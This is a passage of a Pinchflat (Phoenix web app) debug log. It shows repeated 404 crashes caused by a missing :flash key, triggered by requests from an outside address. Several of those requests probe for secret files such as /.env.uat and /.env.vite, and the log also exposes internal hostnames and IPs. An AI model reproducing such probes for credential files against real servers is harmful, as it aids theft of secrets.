s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.965 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.965 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.966 [debug] QUERY OK source="settings" db=0.1ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.966 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.965 [error] #PID<0.3138.0> running PinchflatWeb.Endpoint (connection #PID<0.3137.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3137.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49338}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3138.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YhK2uiMWQIAANOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3137.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49338}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3137.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49338}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3138.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YhK2uiMWQIAANOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, (truncated) 21:08:37.966 [error] #PID<0.3140.0> running PinchflatWeb.Endpoint (connection #PID<0.3139.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /donate ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/donate", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49340}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3140.0>, params: %{}, path_info: ["donate"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/donate", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YhbWjHjoC4AAGoC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/donate", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49340}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/donate", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49340}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3140.0>, params: %{}, path_info: ["donate"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, (truncated) 21:08:38.061 [info] GET /.env.uat 21:08:38.062 [debug] QUERY OK source="settings" db=0.3ms idle=104.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.062 [debug] QUERY OK source="settings" db=0.3ms idle=97.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.062 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.063 [error] #PID<0.3142.0> running PinchflatWeb.Endpoint (connection #PID<0.3141.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.uat ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3141.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.uat", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49346}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3142.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.uat", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-Y4UJaT6e54AANQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3141.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.uat", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49346}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3141.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.uat", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49346}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3142.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.112 [info] GET /.env.vite 21:08:38.112 [debug] QUERY OK source="settings" db=0.2ms idle=147.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.113 [debug] QUERY OK source="settings" db=0.2ms idle=147.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.113 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.114 [error] #PID<0.3144.0> running PinchflatWeb.Endpoint (connection #PID<0.3143.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.vite ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3143.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49354}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3144.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.vite", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ZEg2HrdAAMAANSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3143.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49354}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3143.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49354}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3144.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 